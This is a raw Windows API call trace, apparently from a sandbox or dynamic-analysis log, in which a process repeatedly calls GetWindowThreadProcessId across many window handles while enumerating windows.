[0288.551] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0288.552] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0288.552] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0288.552] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.552] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.552] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.552] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.552] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.552] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.552] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.553] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.553] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0288.553] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0288.553] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0288.553] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0288.553] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0288.553] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0288.553] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0288.553] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0288.554] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0288.554] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0288.554] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0288.554] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0288.554] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0288.554] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0288.554] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0288.554] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0288.554] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0288.555] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0288.555] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0288.555] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0288.555] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0288.555] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0288.555] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0288.555] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0288.555] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0288.555] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0288.556] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0288.556] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0288.556] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0288.556] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0288.556] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0288.556] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0288.556] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0288.556] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0288.557] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0288.558] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0288.558] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0288.558] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0288.558] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0288.558] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0288.558] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0288.558] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0288.558] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0288.558] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0288.559] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0288.559] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0288.559] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0288.559] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0288.559] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0288.559] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0288.559] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0288.559] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0288.559] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0288.560] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0288.560] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0288.560] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0288.560] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0288.560] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0288.560] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0288.560] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0288.560] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0288.560] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0288.561] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0288.561] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0288.561] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0288.561] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0288.561] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.562] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0288.562] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.562] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0288.562] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.562] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.562] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0288.563] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.563] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.563] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0288.563] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0288.563] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0288.563] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0288.563] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0288.563] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0288.564] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0288.564] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0288.564] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0288.564] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.564] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.564] GetWindowThreadProcessId (in: hWnd=0x1033c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0288.564] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0288.564] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0288.565] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0288.565] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.565] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0288.565] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0288.565] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0288.565] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0288.565] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0288.565] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0288.565] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0288.565] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0288.566] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0288.566] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0288.566] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0288.566] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0288.566] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0288.566] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0288.566] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0288.566] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0288.567] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0288.567] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0288.567] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0288.567] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0288.567] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0288.567] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0288.567] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0288.567] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0288.567] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0288.568] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0288.568] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0288.568] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0288.568] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0288.568] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0288.568] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0288.568] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0288.568] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0288.568] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0288.569] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0288.570] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0288.570] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0288.570] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0288.570] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0288.570] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0288.570] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0288.570] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0288.570] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0288.571] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0288.571] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0288.571] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0288.571] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0288.571] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0288.571] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0288.571] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0288.571] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0288.571] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0288.572] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0288.572] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0288.572] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0288.572] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0288.572] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0288.572] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0288.572] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0288.572] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0288.572] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0288.573] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0288.573] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0288.573] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
